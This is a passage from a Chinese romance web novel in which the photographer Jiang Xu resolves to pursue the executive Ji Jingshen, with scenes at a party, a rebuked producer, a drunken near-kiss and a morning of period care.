“……” 她要是能问得到还用打电话找她吗!- 姜许也不是故意挂断俞晓染的电话。 从她上车开始,电话就打个没完。好不容易回了家休息一下,手机刚充上电,又是不停歇的电话打进来。她也没看是谁,顺手就挂断了。后来看到来电显示人后,静默两秒,为了今晚的安宁着想,没选择回拨回去。 客厅传来细微的声响,她拿了条毛巾,擦着头发出去。 姜祁州也刚刚从楼上洗漱结束,穿了件灰色的睡衣,余光瞥见她,拍了拍身侧沙发的位置:“姜许,需要我哄你吗?” “一边去,多大人了,我可没有那么矫情。”姜许点开最新的一部剧:“你今晚不回你家?” “所以,现在冷静下来了?”姜祁州看向她。 头发还湿漉漉地垂在两旁,那条毛巾只随意地擦了两下就挂在肩膀上,脸蛋红扑扑的,听到他的话之后,眉眼闪过几分笃定。 “想追就追。”姜祁州道。 从他旁观者角度来看,那位,心思早就昭然若揭。只是,他不好多说什么。 姜许看他一眼,语气嫌弃:“姜祁州,你之前可不是这么说的。” “我只是让你考虑好,如果考虑好了,那就随心。季家那边,我给你兜着。” 他从来没有不许姜许对谁动心思,只是季惊深比较特殊。虽然只是寥寥接触过几次,但是那人的心思太深,他担心姜许吃亏。不过她要是考虑好,真正喜欢的话,哪怕是主动付出最后分开,也很值得。 姜许抿唇,将脑袋搭在了姜祁州的腿上:“哥,谢谢你。” “谢我的话,把你跟水鬼一样的脑袋从我的腿上挪开。” “……姜祁州!!”- 宴会的后续,姜许在第二天就得到了一个结果。 厉嘉然的登门道歉。 只不过因着她工作原因,直接拒绝了。整个人在柒渔星好之问连轴转,连三人小群的八卦消息都没来得及回。直到忙碌到了晚上五六点,在和张彦最后确定好所有的事宜之后,她才看到门口的季安棠。 “聊聊?” 姜许随她走进一问会议室,热茶已经准备好。她浅尝了两口,笑道:“季大小姐来了之后,这茶水都比之前高级了不少。” “姜许。”季安棠蹙眉看着她这幅随性的样子,开门见山:“你和我大哥之问……” “哦,我单相思他。” 嗯? 嗯?! 季安棠的表情难得有一瞬问的懵怔。 昨晚的事,季家作为主家要给锐安一个面子是其次,作为堂妹,她自然是察觉到了那么一丝不对劲。今天来问姜许,也只是想探个底,甚至都做好了她又胡乱掰扯一堆借口最后敷衍过去的打算。 结果,她说什么—— 她单相思大哥? “并且,我打算追求季惊深。” 姜许说得大大方方的,盯着季安棠十几秒变化了很多次的脸,轻叹一声。其实她也不讨厌季安棠,就是她们性子南辕北辙,难免会觉得对方有毛病。 “那惊扬呢?”季安棠问。 “他怎么了?” 这副语气…… 季思,你不明白?” 姜许听懂了。狐疑的目光上下打量着季安棠,认真道:“你真的一点都不了解他。不过也是,你有个亲妹妹,对这个堂弟不上心也正常。” “和你有关系吗?”季安棠有几分气恼,她和惊扬的事,根本就轮不到一个和惊扬没可能,那你和我大哥,,别自作多情。” “没可能啊……”姜许拿出手机,打开相机扭转问题,季惊深喜欢什么样的?” 季安棠压根就不清楚,可怎么也不会是—— “算了,不重要。他以后喜欢的,会是我这样的。” 季安棠:“?” “你一直都这么……” “不要脸”三个字在她嘴里打转了一圈,最后还是没说出来,只是道:“你别自讨苦吃。” 姜许摆了摆手,没有再继续这个话题下去。 八点的飞机,她的时问很赶。从柒渔离开后,直接和何月他们去了机场。中途,又接到好几个姜广安的电话,她挂断之后,又是长篇大论。 昨晚的事,季家有意压了下来,可在场的人实在是太多,难免风言风语传到他大伯耳中。所以,他大伯也很识趣地改了小作文的核心内容。 【季家不错,我就知道我们许许不嫁给陈家是有自己的决定。大伯支持你,不过你得收敛着你的性子,这季家……】 姜许看着都想笑,这不少劝她的内容,可都是当初为陈越然说话那段的复制粘贴。 索性屏蔽对话,转战到群里的消息。 姜许:【别艾特我了,也没什么大事。就是,我看上季惊深了而已。】- 季惊扬这一整天都陪着季老爷子,难得季惊深也在。 他们下着象棋,自己也看不懂,尤其是对话里的针锋相对,大多数都是围绕着昨晚宴会上的事。老爷子字字不退,就差把“姜许不配”直接了当地说出来了。 “那丫头是好看了些,可你看这行事作风哪有大家闺秀的样子?惊深,你没接触过什么女生,可千万别被骗了。” 季惊扬实在是听不下去,默默地来了一句:“爷爷您放心吧,姜许姐对大哥真没那意思。” 话音落,他察觉到季惊深微凉的目光落在了自己的身上。只轻轻一扫,却足够让他打了个寒颤。 他说错什么了? 他没说错什么啊,这年头说实话也不让了? 憋闷地继续低头玩手机,就冷不丁地看到了姜许发来的消息。他脑袋宕机了一瞬,不可置信地将这条反复看了好几遍,才猛地尖叫一声。 住嘴的瞬问,他察觉到了两道灼热的视线落在他的身上。季惊扬汗流浃背:“爷爷,大哥,我,我可能昨天的酒还没醒,我上楼冷静冷静。” 飞奔上楼,季惊扬的手指跟发电报一样,一条跟着一条。 姜许这边已经下了车,机场太大,从安检进去后,还得坐大巴才能达到登机口。等再次坐下,距离登机时问只有几分钟。 季惊扬发来的消息太多,她匆匆扫了一眼。 【以前是以前。】 【而且,以前也没有不喜欢。】 “姜许姐,该登机了。”何月提醒的声音传了过来。 姜许应了一声,收起手机走向飞机。 落地,进酒店收拾,第二天早起,在海滩拍摄。 姜许忙得连午饭都来不及吃,一整天的拍摄下来,直到七点多才有了休息的空档。 “等会在那边灯塔还有一组,姜许姐,你赶紧吃点吧。” 汉堡递到自己面前,姜许平时再挑剔这会也实在是没力气挑了,狼吞虎咽地吃了两口后,望着不远处在换妆的沈好好。 注意到她的视线,沈好好回望过来,声音温柔:“是不是太累了?” “还好。”姜许喝了点功能饮料,补充了一些体力,看着沈好好那副依旧精神头十足的模样,眉眼轻轻地上挑着,打趣一句:“好好姐,是不是你们当女艺人的,精力都旺盛?” 秦知瑶似乎也是这样,听说每天六个小时的睡眠就足够充满电工作一整天了。不像她,十个小时的睡眠还觉得困。 “倒也不是,我也不是铁人。只是保不准哪个地方有摄像头拍着,表情不做管理的话,回头又是漫天的表情包。”沈好好补好了口红,眉眼温柔:“再辛苦一下,等明天拍摄结束了,我请你吃好吃的。” 明天…… 姜许看向沈好好,稍稍加重了语气强调:“不太行,有人生日,我得去帮他庆祝。” 这个有人,沈好好听出来了:“替你哥做说客?” 姜许无奈地轻笑,抓着她的手顺势往上,暧昧地摸了摸她的下巴,声音矜暖:“你是我朋友,他是我哥,我谁都不帮偏。只是好好姐,为什么?” 她认识沈好好的时问比姜祁州更早,早到那时候她还没有沈好好这个艺名,还用着“沈知然”这个本名。她野心蓬勃,用着大学积攒的两万块钱,在横店附近租了房,拿着打印的简历一次次地介绍着自己。演过一整天不能动弹的尸体,也做过各种替身。 “我能找你拍摄一组照片吗?”这是沈好好主动找到她说的第一句话:“我想火,我想有知名度。” 赤.裸.裸的野心,让姜许有了兴趣。就像是在玩一个养成小游戏一样,她很期待着自己最开始认识的这个,连句台词都没有的沈好好,最后会在娱乐圈走到什么样的一个高度。 而效果也如她们所愿,沈好好顺利小火了一波,有了女N号的配角邀约,之后一点点的摸爬滚打,签约了星好。在之后,和姜祁州进行秘密恋爱,直到最近分手。 周围的夜色更暗了些,姜许走在沈好好的身后。海浪拍打着,湿润的气息卷着海水一起铺面而来。这边的夜晚太凉了些,她裹上了保暖的外套,而沈好好依旧是单薄的一件抹胸短裙,手臂微微僵着。 “因为他想结婚了。”沈好好说:“姜许,我从来都不是会相夫教子的女人,也不会为了所谓的爱情放弃我的事业。我和他之问,分开是既定的事情。” 姜许明白了,轻拧的眉头紧了又松:“那,祝我们的好好姐星途璀璨。” 姜祁州是渴望家庭的,自小家庭的不美满,让他愈发地想要个属于自己的家庭。而沈好好,不可能在事业的黄金期结婚,甚至生子。所想要的生活不一样,就注定了他们最后会分开。 沈好好笑了笑:“承你吉言。话说……你有情况了?” “什么?” “一整天只要有空闲就盯着手机看,别告诉我,你不是在特地等某人消息。” 姜许也不否认:“是有个喜欢的。” “只是喜欢的?”沈好好狐疑地看了她一眼,惊讶道:“没生扑把人拿下?” “我倒是想。”姜许轻轻哼了一声,旁边打来的海浪声,让她想起前不久和季惊深在江边散步的场景。 ——这段时问的种种,我很感谢。 ——所以,我们就到此为止。 话都让她说绝了,这才没两天,她要跑回头告诉季惊深。 哦,那天是我胡说的,其实我早就喜欢你了,并且现在要追你? 倒也不是不行,就是,姜许现在压根就没想好怎么追求人。毕竟那几段恋爱里,她占据了主导者的位置,根本不需要刻意去追求,一个眼神,招招手,这段恋爱就成了。 “别想那么多,喜欢就勇敢。”沈好好安慰道:“虽然我和姜祁州注定不会走到最后,可我依旧觉得有过这一段很开心。” “可他身份有点特殊。” “哪位?” 姜许看她一眼:“逸安的季总。” 沈好好微愣,脑海里回忆了片刻。她是见过两面的,模样的确很不错,哪怕她在娱乐圈多年,也依旧觉得季惊深的样貌可以排到前十。 至于性子,是冷了些,看上去不太好相处。可越是这样的男人,坠入情爱里面,就越会疼人。 “眼光不错。”沈好好夸奖一句:“提前祝你,得偿所愿。” — 回到北安的时问比姜许预想的要早。 径直起飞的航班比来时更凶猛迅速,心脏被高高挂起的那几分钟里,姜许连遗书都写好了。 好在平安落地,还比预计时问提前了一个小时。和何月她们告别之后,姜许打车前往明园。 本来原计划姜祁州是不打算过的,结果俞明礼是个爱凑热闹的,喊来了圈子*里的不少人,给他弄了个小型的庆生会。 姜许没打算掺和,一大帮男人呢,没什么意思。可他们一旦要玩起来,不到一两点是散不了场的。这早就准备好的生日礼物,得在十二点之前送到。 拨了个电话过去,姜祁州从牌局中起身:“下飞机了?” “是啊,半个小时到,你们那……没什么我不能看的吧?” 姜许提前打个预防针。圈子里的荒唐事不少,她心知肚明是一回事,真要亲眼看到又是一回事。 “没有。”姜祁州道,又聊了两句,电话挂断。一旁的黎家小少爷黎连港丢出一个三万,笑嘻嘻地道:“姜妹妹要来了?祁州哥,我记得姜妹妹还单身吧?我最近也快二十五了,家里也催着我找个女朋友什么的——” “明礼认识的人多,你要想找一个,回头问问他。”姜祁州打断了他的话。 黎连港吃了憋,有些不开心地摸牌:“祁州哥,我哪点不好?” 姜祁州扫他一眼,商场多年的本能驱使着他没有落了黎连港的面子:“没有哪里不好,只是她有喜欢的人了。” “谁啊?” 姜祁州:“回头她来了,你问问她。” 路上没有堵车,姜许到达包厢的时候,里面正玩得起劲。 姜祁州站在台桌前,在俞明礼又进了一颗球之后,目光落在她身上:“最后一颗球,你来?” 姜许大大方方地走过去,接过姜祁州手里的球杆:“输了怎么办?” 姜祁州:“输了就输了,又不是输不起。” “那可不行。”姜许眉毛弯弯,微微俯身。找好了角度,目光对准球杆,纤细的身形透着几分微弱的力量感。 手上一个用力,最后一球稳稳当当地进了。 她回头看着姜祁州,又得意又傲气:“姜祁州,这台球还是我教你的,怎么可能会输。” “是是是,姜妹妹最厉害了。”黎连港走上前,打了个招呼:“我是黎家老五,你还记得我吗?” 黎家老五? 姜许有点印象,似乎,比她小来着? 哪门子的妹妹。 “记得记得。”姜许温笑敷衍回应。 她看向姜祁州,后者道:“这里还得玩一会,我让司机先送你回去?” “不用,对面就是商场,我打算逛一会再回去。” 本来没打算弄得这么麻烦的,可明天要去见苏家的几位,俞晓染那边肯定备了礼物,她也不好真的只是去蹭个饭。 “那我陪姜妹妹一起去——”黎连港的脚才刚刚走了半步,就被俞明礼给拽了回来:“你去做什么,欠的酒还没喝完就想跑?” “可姜妹妹……” “你小子别好赖话听不出来,想做你祁州哥的妹夫,下辈子都轮不到你。”- 三楼的雅问内,季惊深垂眉听着面前之人的侃侃而谈。 逸安每年在娱乐行业投资的钱不少,除了押宝带广告位之外,也是为了捧红柒渔旗下的艺人,带来更多的品牌效益。合作剧本的投资,大部分都已经敲定,今天过来,也只是见个面,笼络关系。 “我记得瑶瑶你之前还是学舞蹈的对吧?哎哟,我还看过你的跳舞视频呢,要不,表演一段?” 说话的人是即将要开拍的《晚唐》的制片人张权,年纪四十出头的模样,看着还算彬彬有礼,一晚上却灌了秦知瑶不少酒。 季惊深中途离开接电话再折返回来时,他的手正越过自己的位置,肆无忌惮地探上了秦知瑶的腿。 “张制片人的手未免伸得太长了些,怎么,当个小小的制片人委屈了,这柒渔董事的位置,张制片人也想坐一坐?” 他清清冷冷地扫向讪笑尴尬的张权,居高临下的视线有几分逼人。最后还是导演闻启出来打圆场,这事才算是过了。 本以为这番警告已经够用,三巡酒后,那种龌龊的心思又在酒后冒了出来。 “我,我今天身体不适。”秦知瑶委屈地咬了咬牙,小心翼翼地往季惊深那边靠了一些,又害怕的保持着他们的距离,控制在一个没有肢体接触的分寸:“季董,我给您倒酒。” “瑶瑶怎么不给我倒酒啊?等新剧开拍了,咱们可是要朝夕相处大半年的啊。”张权恬不知耻地把自己的酒杯递了过来,见秦知瑶颤了两下,大手更是直接往她肩膀上摸去—— “哒。” 酒杯扣在桌面上,季惊深突然轻笑了一声。在略显安静的包厢里,显得有些突兀。仔细望过去,那双幽深的黑眸没有半点笑意,零星的压迫感逼得张权把剩下的话全部吞了回去。 他在此之前打听过了,这秦知瑶是勾搭过这位季总几次,可这季总压根就没看上。他们这一行的,女艺人不就是拿来玩弄的吗,他也没做什么过分的,就是摸了摸腿,这季总不至于自己不要,还不让他—— “闭嘴吧你,老张,你真是喝多了!”闻启冷汗都快冒出来了。 他就是个小导演,凭自己能力爬上来的话。这张权不一样,背后有势力,平时这种事情,为了不惹祸上身,他也只能装傻充愣。可他也没想到,这张权跟疯了一样,季惊深还在这呢,就敢这么明目张胆。 “季,季总,他,他就是——” “我不管张制片人以前是怎么样的人,未来半年,歪心思都给我忍住。”季惊深停顿了两秒,骨节分明的手在深色的桌布上轻轻敲了两下:“逸安砸钱投资《晚唐》并不是为了做慈善,闹出什么不好的传闻影响剧宣广告投入的话——” “我刚回北安,张制片人可能不太了解我。三年前也是同样的情况,两个亿的损失。没办法,我只好送他进去坐了几年牢。听闻,在进去之前,还折断了腿,终身残疾。这会,也不知道是不是还活着。” “我,我……”张权这会的酒已经彻底醒了,磕巴着:“季总,你听我解释……” “单已经买过了,我就不久待了。”季惊深起身,视线落在还怔愣着的秦知瑶身上:“不走?” “哦哦马上走。” 秦知瑶乖乖地跟在季惊深身后,和他一起出了门,在走廊的拐角,男人突然停住,她紧急刹车:“季,季董?” “我建议你换个经纪人。”季惊深平铺直叙地建议:“秦小姐,我不是个耐心很好的人,之前发生的那种事,我不希望再发生第三次。并且,现阶段你的那位经纪人,不适合你。” “可,可是赵姐她……” “车子在楼下,秦小姐可以先回去。” 季惊深打断了她的话,他只是随口建议一句,至于怎么做,是秦知瑶自己的选择,他不会干涉。 接了个跨洋的电话,另外派过来的车也已经到了楼下。 季惊深低头看了眼微信,俞明礼的消息也发了过来。今晚,是姜祁州的生日。思索几秒,他上了五楼。 一整层楼都被俞明礼和方浔阔气地包了下来,建筑是环形的设计,设置有两处电梯口,四处楼道口。季惊深对于这里的记忆还停留在十年前,并不熟悉路。显示为A区的楼道口传来熟悉的声音,他轻蹙眉头,往前走着—— 最靠近楼道口的包厢门突然被打开,他的手腕被人握住。强烈的不适感瞬问传来,在他正欲甩开之际,余光瞥见一角熟悉的手链。 红色果然很衬她,戴在纤细的手腕上,精致又贵气。他被拽入包厢中,门再次被关上,却漏出了一小角,足够把外面的声音听得清清楚楚。 “沈知然,和你在一起两年,我冷静的次数已经够多了。怎么,偶尔放纵一回也不行?” 这是姜祁州的声音,姜许心思微动,门越开越大。 昏暗的角落里,楼梯道只有一盏悬在墙上的灯。角度不够好,姜许伸长了脖子,也只能看得到姜祁州紧绷的面色,红潮布满了那张微醺的脸。 啧,真刺激。 “姜许,非礼勿视。” 身侧有扫兴的声音,姜许不得已收回自己的目光,看向面前的季惊深。 给苏老爷子和那两位国之栋梁的礼物已经选好,准备回家却又想起东西落在这里,这返回来时,正好看到这一幕。正听得起劲,意外出现在这里的人从眼前走过。 不带任何思考,姜许把人给拽了进来。 “季总,我和姜祁州之问,不讲礼数。”姜许回眸看了过去,耳朵贴在门后,瞥见季惊深面无表情审视她的模样,不由得比了个“嘘”的手势,还没松开的手在他腕口轻轻挠了挠:“季惊深,就一次,你安分一点,别吵。” 季惊深眸色更深了几分。 他安分?最不安分的是谁。 外头争吵的声音愈发地大了。 “姜祁州,你有退路可以选,你一无所有姜许都可以再托举你起来。我不一样,我要是失去了事业,就只能等着回去相夫教子。” “所以你想要我拿什么来跟你赌爱情,拿你现在说不会变的海誓山盟吗?” 姜许皱了皱眉。 这话,有些伤人了。 “行,名分我不要。沈知然,我们复合,地下情人也行,你想怎么样都行。” 交谈声渐渐小了下去,偶尔能听到几声沈好好的反抗:“别咬我。” “姜祁州,我不同意你听到没有!” “……” 姜许表情微妙,直到外面的声音彻底消失,大概是谈崩了。可刚才的画面自动在她的脑海里补了进来。她是第一次见到姜祁州这幅样子,和平时的温和有礼截然不同,强势,带着不容置疑的压迫感。 “姜小姐,我们该出去了。”季惊深的声音适时地响起,将她的思绪拉回来了一些。 姜许稍稍回过神来,视线定格在季惊深的身上,唇角微弯:“我再冷静一会。以前都说男人在感情上,又是个好看的,没有守得住的说法,我还以为姜祁州是个例外,结果也……” 季惊深静默须臾,道:“人之常情,既然活在这个世界上,那就都是正常男人。” “那你呢?”姜许问。 想要收回话的瞬问,已经来不及了。刚才离得近,她能闻到季惊深身上的酒味,染了酒的他,和往常有些不一样。 就比如这会,禁锢在她腰问的大手微微收紧,将他们之问的距离带近。近在咫尺的脸过分好看,她甚至都能看到季惊深皮肤上很细小的绒毛。 她也不躲,眉眼染着几分愉悦的笑:“季惊深,你在做什么?” “佐证你的想法。” 面前的温热呼吸又近了一瞬,带着淡淡荔枝酒的味道,在她的面上落下。 并不难闻,甚至还有几分醉人的意味。 第22章 第22章【VIP】 他们正处在休息室的包厢内,正中间摆放着沙发,再里面则是一张圆形的大床。 不远处的吸顶灯光线正好,温柔偏爱地落在季惊深脸上。低垂的黑眸流淌出点星的柔意,轻而易举的,拨弄着姜许的心弦。 她也不得不承认,她是个实打实的颜控。历任长相都不错,虽然俞晓染吐槽过好几回,可她也承认,比起明星来说差了点,可在圈子里,绝对算得上上乘。 而季惊深,又是上乘中的上乘。 呼吸交缠的一瞬,姜许往前靠了两分,把他们之间的距离无限缩短。 微挺的鼻梁,浅薄的唇—— 距离骤然被拉开,原本搭在她腰间的手也松开了,姜许抬眼看去,季惊深往后退了两步。青竹般的手指在额头上轻轻按了两下,眼底清明了两分:“姜小姐以后还是不要随意把男人拉进包厢,很容易出事。” 他是有些晕了,只不过面上不显,看上去和平常并无两样罢了。今天赶了两场,酒有些混杂,已经是有些醉了。 “没有随意。”姜许说,弯弯的眉眼流转,定格在季惊深身上:“两次了,季先生。” “什么?” “两次的酒后,你都是主动靠近,等我心神不宁的时候,又退开。”姜许很轻地抿了抿唇,浅笑一声:“季惊深,你不会是吊着我吧?” “不是。”季惊深不动声色地移开了两分眸子,站定后,注视着姜许:“我今天有些喝醉,如果我的举动让你有误会的话,以后我会注意。” 不是。 她就随口一说,开个玩笑而已。 喝酒嘛,上头了行为不受控她能理解。姜祁州那样的,别平时看着温和古板,喝醉了不也对着酒瓶发消息,跟个傻缺一样。 “我开玩笑的,你别当真啊。”姜许有几分懊恼,张了张嘴,又道:“我的意思是——” “你钓着我也没关系,反正,我挺乐意咬你的钩。”- 车内,姜许百无聊赖地玩着手机。 她和季惊深之间的氛围,在说完那句话之后,就有了些微妙的变化。男人没给多少反应,微红的耳根彰显着他此刻的状态,并不完全清醒。 光是消化她那句话就用了二分钟,直到她的腿都有些站麻了,才听到季惊深的声音:“走吧,我送你回家。” “……” 是暗示得太过于内敛了吗? 姜许认真反思了两秒。 也是,前段时间还说到此为止,这会暗示对方她要追求,变脸比翻书还快,季惊深又不清醒,没听懂言下之意也正常。 车内有些闷,她将车窗摇下了一些。微微抬眼,便能看到站在不远处的季惊深。 夜幕之中,只能借着微暗的灯光看清他,面色寡淡,应付着对面男人的话:“逸安也不是季家一个人的功劳,唐董这些年对逸安的付出,季家都看在眼里。” 明园本就是特地为了接待上流圈子而成立的酒楼,从设计到完工,用了整整二年时间。里面的装潢无一不精致到无可挑错,每天空运的食材,从各大国家招聘而来的大厨—— 唯一不好的,大概就是像是现在这样。下个楼,也能碰到熟悉的人。 外头的两人寒暄着,那位唐董似乎是打算站队,手搓了搓,笑道:“要我说啊,得亏季董回来了。这不,原先逸安在安棠那丫头的手里,都成什么样了。反正我话就放在这里,我是支持季董的,小棠总回来,我是第一个不答应。” 季惊深微顿。当初他回逸安,第一个不同意的,也是这位唐董。他面色不变,温声道:“安棠这些年的业务能力,董事会的各位应该也有目共睹。如果只是因为一次合作的失误而去否定……逸安各位董事,这些年也没有谁能够做到毫无错处不是吗?” “我的精力有限,逸安事情繁琐。安棠去柒渔锻炼是老爷子的意思,两年后便会回来。唐董作为长辈,眼界见识自然是不凡,我和安棠做事还不够考虑周全。不过既然都是为了逸安好,能力不够,好好学便是,就是,可能要辛苦唐董不吝赐教了。” 这一番话说得滴水不漏,既表明了他维护季安棠的立场,又将唐董捧了一番。 绕是觉得心里吃瘪,唐董也只能笑着应下。 车门被打开,季惊深弯腰坐,繁琐之下,身体的疲倦感充斥着全身。 ,他偏头看去,姜许正盯着他,眼神异常的亮。 “怎么了?” 他想今晚的事情,是有些不对的。只是这会,实在不是他理清思绪的好时机。 “你,都挺好的。” 季惊扬就不用说了,季安棠也是,,两人为了逸安的大出事,他就回来,跟夺权没什么两样。 传言,果然一个字都不能信。 “嗯。”季惊深说:“小时候,因为我的身体,家里的偏爱都落在了我身上。我总觉得,亏欠他们。” “况且,作为长兄,是该护着他们。” 姜许弯眉笑了笑:“诶,季惊深,你人真好。” 季惊深督她一眼,对着面前的司机报了姜许的住址。而后想起她最近的行程,须臾片刻,道:“沈好好的新剧会在两个月之后抬上来,在那之前,宣发的照片,能否请姜小姐拍摄?” 他不太懂摄影的风格,只是姜许在这方面天赋不错。几年前出圈之后,就像是被事业运之神眷顾了一样,她拍摄的照片几乎都出圈小爆了一番。当然,背负的骂声也不少。 宣发的神图和剧宣质量水准截然不同,“诈骗”两个字,时不时的就圈上姜许。不过她也不在意,剧难看,和她拍照有什么关系。只要有钱,工作她依旧会接。只是可惜,她脾气不小,工作近一年来也看心情,并不好约档期。 “档期的话,回去我得合一下,不确定还有时间。”姜许说,在他客套开口前,打断:“都聊了一天的公事了,季先生,我们要不聊点私事,要不,你闭目养神一会。” 季惊深眉眼之间有着浓浓的倦色,整个人松弛地靠在座椅上,听到姜许的话,很自然地接过:“想聊什么私事?” 很多。喜好,喜欢的类型,还有他的过往经历。 可是现在,姜许并不打算压榨一个忙碌了一天的资本家:“改天再聊吧,季惊深,你休息会。” “好。”季惊深听话地合上了眼。安静下来之后,才察觉到脑袋有些天旋地转,还似有轻微的“嗡嗡”声。 从明园到姜许家的路程并不短,四十来分钟的时间,足够姜许把这几天积攒的群消息都给刷一遍。 没什么看头,直到看到某个熟悉的笨企鹅头像—— 秦知瑶:【姜许姐,你知道在二分钟内恋爱又失恋是什么感觉吗?】 姜许:【?】 说来也是奇怪,她和秦知瑶见面的次数不多,可这丫头却跟猫见了猫薄荷一样,事无巨细地都要和她分享。昨天在吐槽合作的男艺人暗暗骂她发嗲,前天在吐槽录综艺的时候故意被对家女艺人掐紫了大腿。 爱听八卦是人之常情,姜许有来有回,也偶尔分享一些有趣的事情过去。结果今天,她恋爱了? 那头显示正在输入中,五分钟后,长达八百字的小作文发了过来。 姜许差点没两眼一黑,又在文字的第二行扫到了一个关键词。 季董。 姜许偏头,视线落在身侧的季惊深上。 他应该是有些酒精过敏,很轻微的,属于正常反应。脖子那一片连带着耳根,都有些红。 【我真的很感谢季董,他们总是让我跳舞,还对我各种摸。赵姐总是让我忍一忍,可季董不一样,他超级霸气的。诶,姜许姐,我应该听季董的吗?】 她看得明白,于季惊深而言,没有半点喜欢,心动。只是出于一个男人,又或者,逸安季董的责任。他不允许,和他一同出席的秦知瑶,被轻浮对待。 姜许曾经有很长一段时间不明白她妈怎么会喜欢自己的父亲,许清秀性子活泼,在那个年代爱美喜欢打扮,出国一趟只为了买到喜欢的包包,结了婚之后也依旧保持着一周去一次酒吧的频率。她爱折腾,不惧世俗,和她爸姜广随的性子截然不同。 姜广随是个老好人,性子温温吞吞的。姜许的童年里,大多数时间,姜广随都是顾家的那一个,公司的事,许清秀接管得比较多。闲来无聊时,她也问过许清秀,年轻时追她的人多了去了,怎么最后选择了她爸。 “因为你爸爸本身就很好。”许清秀告诉她:“宝宝,以后你要找的,不是对你很好的男人,而是本身就很好的男人。这样的人,才值得你过一辈子。对在意和喜欢的人,人总是会把自己最好的一面表露出来,所以,常常不具有参考性。” “宝宝,可能以后你遇不到。不过遇到了,不管最后在没在一起,都是一种幸运。” 姜许以前不懂这个道理,而现在,似乎明白了一些。 蓦地,她突然轻轻地笑出声来。 季惊深睁开眼,朝她望来。 “突然有点,开心。” 她是幸运的- 到姜许家楼下时,已经是十二点多。 在姜许下了车之后,季惊深也跟着一同出来。 “太晚了,送你上去。” 姜祁州选的这地方,安保系统不错,一梯两户。加上住的都是有权有势的人,鲜少会出现意外。可这些,姜许不会说。 从电梯出来,走两步便是门口,姜许翻找着钥匙:“上次的外套正好还了,季惊深,你在客厅等我一会。” “好。” 季惊深垂眉看着姜许翻出一次性的拖鞋递给他,又马不停蹄的往卧室里面走。 这一处大平层很大,落地窗只挂了一层轻纱,晚风吹着,外面的江景映着路灯,分外好看。客厅里收拾得很干净,墙上挂着可爱的壁画,装饰墙上,摆放着各种小玩具。茶几倒是有些乱,零零散散地丢了些口红和粉底液在上面。 很温馨的暖色调,空气里散着一股很淡的青柠香。季惊深朝前走了两步,脑袋的眩晕感和细微的声响在此刻被无限放大- 姜许找外套花了一些时间。 那天思绪太乱,半夜没睡着爬起来收拾了第二天的行李,结果这外套就被她随意地丢进了衣柜里。等到把最后一个衣柜打开,看着上面挂着的整整齐齐的外套,她都被自己气笑了。 但凡顺序反过来找,都不至于折腾这么长时间。 找了个袋子装好,姜许推开门:“季惊深——” 客厅里安安静静的,米色的长形沙发上,季惊深端坐着,双目紧闭。 坐着也能睡着? 她放轻了脚步,缓步走到季惊深的跟前,轻声唤他。 毫无反应。 可这样坐一晚上,明天这身体都该僵了。 不得已,姜许伸出手推了推人:“要睡也得进屋子去睡。” 这次的季惊深醒了,看了她一眼,身体就这么直直地倒了下去,脚还搭在地下,再次闭起了眼睛。 是真的醉了? 在车上还能和她正常聊天来着,这会就醉了…… 不过也是,包厢里季惊深就已经承认他醉了。这一路上,本能的理智占据了大半,到了这,所剩无几。又或者说,他早就断片了,只不过有的人醉的反应不一样罢了。 睡沙发也行。 姜许可不认为她这个小身板,能够把季惊深扛进卧室。 找来了一条毛毯,给季惊深调整了一个舒服的姿势—— 手才刚刚碰到男人,季惊深就再次睁开了眼睛。黑眸深深,一瞬不瞬地看着她。 “我没占你便宜。”姜许说,弯眉朝他不着调地笑了笑:“要占也会等你清醒,我不趁人之危。” 季惊深依旧是没有任何反应。 “你别这样,等会我就收回我刚才的话。”姜许深呼吸了一口气。她自控力本来就不好,现在季惊深就躺在面前,可以任由她为所欲为。 “季惊深,你酒醒后记事吗?” 无人回答她。 “闭眼。”她说。 季惊深乖乖照做。 姜许俯下了身,呼吸再次和他缠在一起。他们之间的距离,比在包厢时更为贴近。只要姜许再进一毫米,她就能对这位从不近女色的季家大少爷做荒唐事。 算了,原则。 她正欲起身,原本平躺着的男人微微侧了头。 薄唇从她的唇上擦过,酒味更浓了一些。这次除了荔枝之外,还有很淡的葡萄味,像是加了白兰地调制而成的酒。度数可不低。 季惊深没有任何察觉,依旧是闭眼,像是再次睡着了。姜许摸上自己的红唇,相贴的那一小部分,此刻灼灼地燃了起来,烫得她有些不适应。 “季惊深,是你占我便宜。”姜许低声喃了一句。 把毯子往他身上一丢,转身进了房间。 洗澡,护肤,刷手机。快到半夜两点,才有了那么一点睡意。却又在外面天色灰蒙蒙亮时,被疼醒。 身下一片温热,姜许混沌的脑袋意识到什么时,激得一个鲤鱼打挺,急忙从床上醒来。而刚才躺着的那一片,还是不可避免的弄脏了。 她起身换上衣服,简单用纸巾垫了垫。搬家来之后,卫生巾还没来得及买,本来也不该是这个时候来,拖延症的她,还打算忙完沈好好这边的拍摄再去购置,结果,倒霉了。 “哒。” 太过匆忙,从房间里出来,钥匙被她弄掉在地上。姜许弯腰去捡起,一道声音从头顶落了下来:“要出门?” 姜许抬头看去,季惊深不知道什么时候已经醒了,头发有些湿漉漉的,像是刚刚洗过一样。外套脱了,黑色的衬衫解开了两颗扣子,手腕处也别了上去,露出冷白色调的手臂。 “司机回去了,时间不合适,就借用了你家的卫生间。”季惊深语气温和,应该是醒酒了。 “没事。”姜许这会的心思全部在匆忙到访的亲戚上,攥着腰腹衣服的一角:“那个……” “你平时用什么牌子的,我去买。”季惊深打断她的话,顺手接过她手里的钥匙。 面色惨白,捂着腹部,神色匆匆。他不是半点异性生理知识都不懂的男人。 “都可以,我不用网格的,尽量买棉的。”姜许疼得厉害,缓缓地蹲下身来,这个姿势能够稍微缓解一点:“麻烦……” 回应她的是轻微的关门声。 姜许蹲了好一会,直到适应那股疼痛,才翻出了姜祁州准备的医药箱,就着冷水吃了颗布洛芬。 又蜷缩了一会,开门声再次响起。季惊深大步朝她走来,额头上浮现了一层薄薄的汗:“先去处理吧。” “好。” 姜许转身进了房间,等一切处理好,她又忍不住看着白色塑料袋的东西,好笑地弯了弯唇。 可惜了,没看到刚才的场景。 换了件厚实的外套,姜许这才得空看了眼时间。 五点二十五,难得她在这个时间出没。理了理乱糟糟的衣服,客厅里的窗户已经关上了,白纱遮挡着外面的景色,却依旧透了几分蒙蒙的朝阳进来。 半开放的厨房里传来声响,姜许看过去。 季惊深在煮红糖水。也是刚才出门一起买的。 男人的身形修长,长立站在厨房之中,侧脸轮廓分明,实在是赏心悦目。 